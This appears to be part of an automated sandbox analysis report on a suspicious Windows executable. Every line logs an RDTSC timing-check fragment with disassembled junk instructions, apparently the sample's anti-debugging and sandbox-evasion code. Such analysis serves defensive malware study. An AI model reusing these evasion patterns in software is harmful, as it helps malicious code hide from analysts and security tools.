Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96F6F second address: F96F73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F978D3 second address: F978D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F978D7 second address: F978EC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c jo 00007F0CFCBDECE0h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F96C06 second address: F96C31 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F0CFCDA8E68h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 js 00007F0CFCDA8E56h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C115 second address: F9C12E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D1AC second address: F9D1B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D1B0 second address: F9D1B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D242 second address: F9D255 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9769C second address: F976A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F976A3 second address: F976CD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0CFCDA8E58h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0CFCDA8E69h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F976CD second address: F976D7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E1BB second address: F9E1DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jno 00007F0CFCDA8E56h 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F0CFCDA8E62h 0x00000016 jmp 00007F0CFCDA8E5Ch 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F206 second address: F9F20A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9F20A second address: F9F276 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0CFCDA8E58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F0CFCDA8E67h 0x00000012 push 00000000h 0x00000014 mov bh, 4Dh 0x00000016 jbe 00007F0CFCDA8E5Ch 0x0000001c mov ebx, dword ptr [ebp+122D3778h] 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edx 0x00000027 call 00007F0CFCDA8E58h 0x0000002c pop edx 0x0000002d mov dword ptr [esp+04h], edx 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc edx 0x0000003a push edx 0x0000003b ret 0x0000003c pop edx 0x0000003d ret 0x0000003e movzx ebx, si 0x00000041 push eax 0x00000042 pushad 0x00000043 jg 00007F0CFCDA8E58h 0x00000049 pushad 0x0000004a push edx 0x0000004b pop edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C348 second address: F9C36A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007F0CFCBDECE7h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9C36A second address: F9C36E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3279 second address: FA327E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4123 second address: FA412D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0CFCDA8E5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D434 second address: F9D442 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F0CFCBDECD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E317 second address: F9E396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d popad 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F0CFCDA8E58h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b jmp 00007F0CFCDA8E5Bh 0x00000030 push dword ptr fs:[00000000h] 0x00000037 cmc 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov dword ptr [ebp+122D3547h], esi 0x00000045 mov eax, dword ptr [ebp+122D1481h] 0x0000004b mov edi, dword ptr [ebp+122D2312h] 0x00000051 push FFFFFFFFh 0x00000053 jng 00007F0CFCDA8E59h 0x00000059 movsx ebx, ax 0x0000005c nop 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F0CFCDA8E5Ch 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6FCC second address: FA6FE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6FE5 second address: FA6FEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA6FEA second address: FA706B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F0CFCBDECD8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov bx, 4404h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push edi 0x0000002d call 00007F0CFCBDECD8h 0x00000032 pop edi 0x00000033 mov dword ptr [esp+04h], edi 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc edi 0x00000040 push edi 0x00000041 ret 0x00000042 pop edi 0x00000043 ret 0x00000044 or dword ptr [ebp+122D2490h], eax 0x0000004a or dword ptr [ebp+122D2883h], edx 0x00000050 push 00000000h 0x00000052 mov dword ptr [ebp+122D1D85h], edi 0x00000058 xchg eax, esi 0x00000059 jmp 00007F0CFCBDECE1h 0x0000005e push eax 0x0000005f push ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 pop eax 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAA2C0 second address: FAA2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA340E second address: FA3413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4223 second address: FA422D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0CFCDA8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA422D second address: FA4232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4232 second address: FA42D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0CFCDA8E56h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov di, F427h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 jmp 00007F0CFCDA8E5Fh 0x0000001e push edi 0x0000001f cld 0x00000020 pop edi 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 mov di, 35A3h 0x0000002c mov eax, dword ptr [ebp+122D0EE9h] 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007F0CFCDA8E58h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c sub dword ptr [ebp+12450BA7h], edi 0x00000052 push FFFFFFFFh 0x00000054 call 00007F0CFCDA8E5Fh 0x00000059 jno 00007F0CFCDA8E56h 0x0000005f pop edi 0x00000060 push eax 0x00000061 pushad 0x00000062 jmp 00007F0CFCDA8E61h 0x00000067 pushad 0x00000068 jmp 00007F0CFCDA8E62h 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA61C3 second address: FA61C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB8D0 second address: FAB8DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F0CFCDA8E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA82D3 second address: FA82E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0CFCBDECD6h 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007F0CFCBDECE8h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA82E9 second address: FA82ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA82ED second address: FA82F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA82F1 second address: FA839D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov ebx, dword ptr [ebp+122D38F0h] 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F0CFCDA8E58h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov bx, 9155h 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 stc 0x0000003a mov eax, dword ptr [ebp+122D1545h] 0x00000040 xor ebx, dword ptr [ebp+122D39B4h] 0x00000046 push FFFFFFFFh 0x00000048 push 00000000h 0x0000004a push ecx 0x0000004b call 00007F0CFCDA8E58h 0x00000050 pop ecx 0x00000051 mov dword ptr [esp+04h], ecx 0x00000055 add dword ptr [esp+04h], 0000001Bh 0x0000005d inc ecx 0x0000005e push ecx 0x0000005f ret 0x00000060 pop ecx 0x00000061 ret 0x00000062 jmp 00007F0CFCDA8E62h 0x00000067 call 00007F0CFCDA8E5Dh 0x0000006c mov dword ptr [ebp+122D24EDh], eax 0x00000072 pop edi 0x00000073 push eax 0x00000074 push esi 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F0CFCDA8E60h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF1C3 second address: FAF1DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0CFCBDECD6h 0x0000000a jg 00007F0CFCBDECD6h 0x00000010 jns 00007F0CFCBDECD6h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAF1DD second address: FAF1F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCDA8E5Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5577E second address: F55788 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55788 second address: F55792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0CFCDA8E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F55792 second address: F557A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F557A7 second address: F557AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB2F6C second address: FB2F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB5F70 second address: FB5F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCDA8E5Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB7B2C second address: FB7B32 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBCBC2 second address: FBCBD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ecx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jng 00007F0CFCDA8E56h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD490 second address: FBD495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD51D second address: FBD53A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 jmp 00007F0CFCDA8E5Ah 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 push esi 0x00000016 pop esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4A93 second address: FC4A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4A97 second address: FC4ADC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F0CFCDA8E5Eh 0x0000000e jmp 00007F0CFCDA8E5Ch 0x00000013 jmp 00007F0CFCDA8E68h 0x00000018 jnc 00007F0CFCDA8E56h 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4C31 second address: FC4C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F0CFCBDECD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4DA5 second address: FC4DAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4DAB second address: FC4DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0CFCBDECD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4DB6 second address: FC4DC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F0CFCDA8E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4DC0 second address: FC4DC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4DC4 second address: FC4DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4DD3 second address: FC4DD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4DD7 second address: FC4DEA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0CFCDA8E56h 0x00000008 jne 00007F0CFCDA8E56h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4DEA second address: FC4DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC4F7B second address: FC4F94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F0CFCDA8E58h 0x0000000c pop edi 0x0000000d pushad 0x0000000e push edx 0x0000000f ja 00007F0CFCDA8E56h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC52AF second address: FC52B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F0CFCBDECD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC52B9 second address: FC52D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F0CFCDA8E5Dh 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC52D2 second address: FC52DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC99A9 second address: FC99AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC99AF second address: FC99C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F0CFCBDECDDh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC99C1 second address: FC99CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0CFCDA8E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC99CB second address: FC99D5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0CFCBDECD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BAA second address: FC9BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0CFCDA8E58h 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BB6 second address: FC9BBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BBE second address: FC9BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BC2 second address: FC9BCC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0CFCBDECD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BCC second address: FC9BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9D27 second address: FC9D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA19F second address: FCA1A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA1A3 second address: FCA204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F0CFCBDECE0h 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F0CFCBDECF3h 0x00000018 jc 00007F0CFCBDECD6h 0x0000001e jmp 00007F0CFCBDECE7h 0x00000023 jp 00007F0CFCBDECDEh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA204 second address: FCA215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA215 second address: FCA223 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0CFCBDECD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA376 second address: FCA38E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E62h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA38E second address: FCA392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA4F7 second address: FCA4FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA4FB second address: FCA4FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA4FF second address: FCA51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F0CFCDA8E5Ah 0x00000010 jbe 00007F0CFCDA8E56h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA51E second address: FCA52F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0CFCBDECDAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA52F second address: FCA540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA540 second address: FCA546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA546 second address: FCA54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCA802 second address: FCA839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F0CFCBDECFAh 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F0CFCBDECD6h 0x00000013 rdtsc
